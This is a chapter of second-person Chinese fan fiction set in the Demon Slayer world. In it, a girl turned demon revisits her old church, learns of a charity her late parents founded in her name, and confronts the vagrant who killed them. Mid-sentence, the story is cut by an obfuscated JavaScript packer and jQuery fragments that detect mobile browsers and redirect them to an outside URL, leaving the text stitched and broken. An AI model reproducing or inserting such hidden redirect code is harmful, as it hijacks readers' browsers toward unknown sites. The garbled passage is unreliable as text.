63.第 63 章(加更)

作品:《作为上一的妻子

    你来到水柱的道场。


    这是一座比你自己家还要侘寂风的屋子,你至少还有一个满满当当的书架,这里只能用家徒四壁来形容。走进如此空旷的房间,你隐约能听到脚步的回声,好像自己无一物的心也在机械地反射外界的声音。


    富冈义勇和你相对枯坐。


    除了见面的第一句话,你们再也没有任何交流。


    炼狱杏寿郎是因为自己话太多,所以控制变量挑一个不怎么开口的柱,看能不能撬开你的嘴吗?


    你呆呆地坐着,视线只落到膝盖前面一点的位置上,富冈义勇也是。


    如果不是鎹鸦宽三郎扇着翅膀从窗外飞到他的肩上,你快要以为这个人不会动了。


    “好的,我知道了。”他起身挎上日轮刀,走向屋外。


    “我去杀鬼了,”他说,“你自便。”


    他走了。但好像走不走都没有什么区别。


    你只是感到更加煎熬,而已。


    有鬼杀队的人在,你因为全身心对抗着他们可能有也可能没有的窥探,反而能撑得住。现在,这里没有其他人,因为愤恨、痛悔而释放的攻击力全部向内返回来,撕扯得你肝肠寸断。


    浑浑噩噩中,太阳落下、升起了几轮,富冈义勇风尘仆仆地归来。


    “跟我走。”


    这是认识后他对你说的第三句话。


    趁着夜色,你们下了山,赶了一段小路,到镇里坐车,天明前到了一处火车站。富冈义勇给你买了票,车厢里你们坐在面对面的位置,似乎只是在继续道场中情形。


    你不知道他想要做什么。


    车窗外的风景匀速倒退,从青天白日到华灯初上。


    你们下了车。


    裹挟在熙熙攘攘的乘客中,你口干舌燥、手脚发软,走路都不会了。富冈义勇盯着看了你一会儿,走过来拉着你的手走过月台,来到站点外,报上地名坐上黄包车,没过多久,教堂华丽、高耸的尖顶就出现在视野内。


    车夫怀疑的注视下,义勇结算好费用,半拖半抱把你弄下车,向前方走去。


    将将要跨入大门,你虚脱似的软倒在地。他拉了几下没有起来后,也不再动,双目波澜不兴,眼角、嘴角还有刘海的弧度都向下耷拉的感觉。


    “你的事,鳞泷师父都和我说过,”他淡淡开口,“我也是偶尔执行任务路过,才发现这儿就是他提到的地方。不进去看看吗?”


    屋内飘荡出唱诗班的歌声,甜美的音乐掠过庄严的祭台、精致的油画、五彩斑斓的花窗,环绕在衣冠楚楚的信徒之间,仿佛是天穹下最神圣的所在。


    这是教堂礼拜日的活动,你曾经也是他们中的一员。


    “不进去看看吗?”富冈义勇固执地要求。


    你哆哆嗦嗦坐在布道室长椅的最后一排,同列的都是一些捐赠不起还要靠教堂救济的穷人。以前怎么没发现他们呢?


    你一直知道,教堂用筹款和义塾的收入开济贫院舍粥。如果那些无家可归饭也吃不上的可怜人愿意皈依主的话,教堂可以提供一个容身之地。他们参加完简单受洗礼,就能每周来领物资,做一些送信、扫地的简单活计换一份微薄的薪水勉强活下去。


    按理说,过去你们无数次共处一室,但仍像两个世界的人看不到彼此。现在,你和他们一起在人群的末尾,表情麻木,身体颤抖。


    讲台上,牧师动情地讲述着怜悯贫穷的道理,大力赞扬前排客人的慷慨。掌声响起一波又一波,你仍然魂飞天外。富冈义勇耐心地陪着。


    牧师再讲起过去几十年间对教会做出过突出贡献的人们,历数他们的生平事迹还有美德,比如在禁令还没有取消的时候冒险传教啦,靠着很少的资金盖起义塾的第一间校舍啦,收养孤儿啦,独生女去世后办了一个以她名字命名的基金会啦……


    你捂着耳朵痛苦地滑到座椅下。富冈义勇艰难地分开人群,把你拖了出去。


    “这就是你要让我知道的?你带我来就是为了这个?”你怒火万丈,愤怒像刺猬张开的一身刺,为了护住中间最不堪一击的位置,疯狂刺向所有靠过来的触碰。


    义勇嘴张开再闭上,手抬起又放下。努力好久,终于道:“我就是觉得,应该让你知道。”


    “然后呢?”


    “什么?”


    “我问你然后呢!”你双目通红,目眦欲裂,食人鬼尖锐的异形瞳孔收缩成暴虐的利剑,“我知道了!然后呢?”


    义勇哑口无言,眼看着你毫无理智地倾泻愤怒。


    “你们想要从我这里挖出什么来,你们到底要知道什么!我和你们不一样吗,啊?我也是爸爸妈妈生的,从小长到大的啊,我和你们一样是血肉之躯,用刀砍会痛,听到难听的话伤心,我堂堂正正活到现在,和你们一样!我和你们一样!凭什么这么对我,凭什么啊!”


    他明显是不善言辞的人,在你的逼问下更加说不出话来。


    “我,”他开口,“就只是认为,应该让你知道。”


    你愤怒地推开他,跑走了。


    这座恢弘的教堂里每道门都长得差不多,你本该是很熟悉的,却依然在冲昏头脑后弄不清楚自己现在是在哪个房间。


    这里有很多的雕塑,墙上挂着各式各样的相框,还钉着不同尺寸、形状的金属牌……你懵了一会儿,猛然醒悟过来这是学校的纪念堂!


    因为奔跑而发昏、模糊的视线在此时聚焦,你无比清晰地看到眼前的牌子。光亮的金属表面折射出你现在的脸,还和“死前”一摸一样,肉乎乎的带点婴儿肥的女学生脸,裸露在外的皮肤呈现出大量失血后的惨白。


    那个牌子上面写着“……夫妇捐赠……愿上帝平息他们的伤痛,因为捐得乐意的人,是神所喜爱的”。


    你发出一声极低的哀嚎,声音从狭窄的缝隙里挤出,好像那儿正在被猛兽扑咬。身子也受伤似的承受不了,摇摇欲坠。


    “小姐、小姐?你怎么样了?”有人用英语问道,“要叫医生吗?”


    你摇摇头,费力地直起身来。


    “菲利斯女士?”


    老人戴上胸前的眼睛:“你认识我?”


    “只是听说过。”你不自在地转开脸,想要在认识的人面前平复心情,但愤怒和哀恸交织的心脏仍在猛烈地跳动着。


    “太难得了,我已经退休很久很久了,”头发全白的菲利斯女士眯起眼睛,“天呐,你真像我以前的学生。”


    她思考起来,也看向面前的牌子:“那孩子的父母见到你准儿会开心的——你真的不需要医生吗?”


    “我天生脸色不好,”你摸摸脸颊,“和我说说这个基金会的事吧,接受外界捐款吗?我、我想……”


    你摸向包,突然想起大部分现金都在实弥杀鬼的时候交给那个男孩的母亲了。包里只剩遗留的几个钢镚,还有一叠取不出来的汇款单。


    “我也想捐点儿,”你嗫嚅道,“钱过段时间送来。”


    “好呀,”菲利斯女士摸摸铭刻在牌上的箴言念起来,“各人要随本心所酌定的。不要作难,不要勉强,因为捐得乐意的人,是神所喜爱的。所有不知道往捐赠纪念品上写什么的人,我都把这话送给他。”*


    你走出教堂,开始想能从哪里弄点钱来。这个时代的银行不对女性开放业务,你收到的所有酬劳都是黑死牟帮忙领取的,这在以前并不构成障碍。


    现在怎么办?要不把手表卖了了吧,它还挺值钱的。反正你也用不着看时间了,鬼杀队让你去哪里就得去哪里,让你干什么就得干什么。


    可当铺又在哪里?你只在小说和电视剧中见过这种地方。


    你茫然地走着,看到听完布道的人们涌出来,一部分坐上小汽车、人力车,一部分在街角排起长队。那就


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263573|194774||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是教会济贫院的窗口吧。你想起菲利斯女士说父母的基金会用来救济流落在外的人,拔腿走过去想看看。


    夜风吹在脸上,带来温柔的感觉,好像分别前她贴在那里的手。


    她说:“开心起来吧,小小年纪为什么要这样愁苦呢?我从前的那个学生总是高高兴兴的,你看我年纪一大把了,也高高兴兴的。”


    你捂住那里,吸吸鼻子,有点儿想哭了。


    她说这话完全是好心,但你想开心、快乐之类的词恐怕不会和你有什么关系了。不过今天能遇到她,你的确好受很多。如果宗教能在父母人生的终点给予些许安慰的话,那也是很好的。


    本就有许多东西是因信称义的,像是爱、信任、理念,信则有不信则无。此刻你情愿和他们一起相信,上帝或者随便哪个神平息了那场伤痛。


    济贫院门前的队伍越排越长。


    看啊,世上有这么多不如意的人,他们的悲伤也一样很多很多。


    你驻足观望着。


    “别插队啊!”后面的人叫起来,伸手就是一推。


    你险些摔倒,赶紧闪避。


    “非常抱歉,我这就走。”


    唉,不知不觉就靠近队伍了。用你凭吊的心情去干扰他们迫切的生存需要实在不应该,还是走吧。


    “还有人插队!”


    “死老头子又是你,快滚快滚!”


    “滚呐!”


    眼看着老人就在栽倒在旁边,你手忙脚乱地把人扶稳,差点儿被他身上的味儿熏得倒仰过去。


    这人得有几十年没洗澡了吧……


    流浪汉嘛,可以理解。


    你强忍着不适问他:“我带你重新排队吧?”


    他低头嘟嘟囔囔地说着什么,皱纹深陷的脸大半藏在脏兮兮的头发下。


    你听不清楚,弯下腰:“什么?”


    教堂前的路灯照亮你的脸。


    他大叫起来,甩开你的手就跑,却咚地撞上墙角倒地,顾不上头破血流还在手脚并用地逃。


    “你怎么了?没有事吧?”


    “别追我、别追我!”他嚎叫起来,“是你,我认得你。你这个魔鬼,还缠着我!”


    他哭一阵、逃一阵,又爬回里叩头:“放过我,我不是故意的……我不知道我当时怎么想……”


    轰的一声,你的脑中一片空白。


    不是想不出东西空荡荡的空,是一切的感知、情绪、反应能力在瞬间摧毁,坍塌成废墟的空。


    你僵立不动,眼睛失神,围困在躯体里的灵魂却在歇斯底里地狂叫!


    是他!是他!是他!


    流浪汉磕得更加用力,血滴滴答答流了一地。


    “对不起、对不起,我不是故意的,不是故意杀你的……”


    “你杀我?你杀我了吗?”你扯着他那件破衫烂衣咆哮起来,“你杀我,可我没死呐!你把我父母杀了,我父亲母亲死了,他们不在了!”


    狗屁的神,狗屁的安慰,可去他的吧!你的伤痛没有平息,永远也不会平息,它就在这里,在咆哮着想要弄死他!


    “对不起、对不起……”他涕泗横流,搓着两只手不停地道歉。


    “你怎么还活着,还有脸活着啊……你还有脸来这里……”


    人群骚动起来,尽然有序的队伍散开一片以你为圆心的空地。所有人目瞪口呆,看着一个女人当街发疯,欺负一个可怜的老流浪汉。


    “你怎么还有脸……给我滚呐……”


    前头分发粥饭的修女也发现了不对劲,放下勺子要过来查看情况。


    “滚!”


    有人牢牢地抱住你,要把你带出去。


    “冷静!”是富冈义勇的声音。


    你挣扎不动,头昏脑胀、语无伦次,还在用尽全力对那个仓皇逃窜的可怜人怒吼:


    “滚呐!”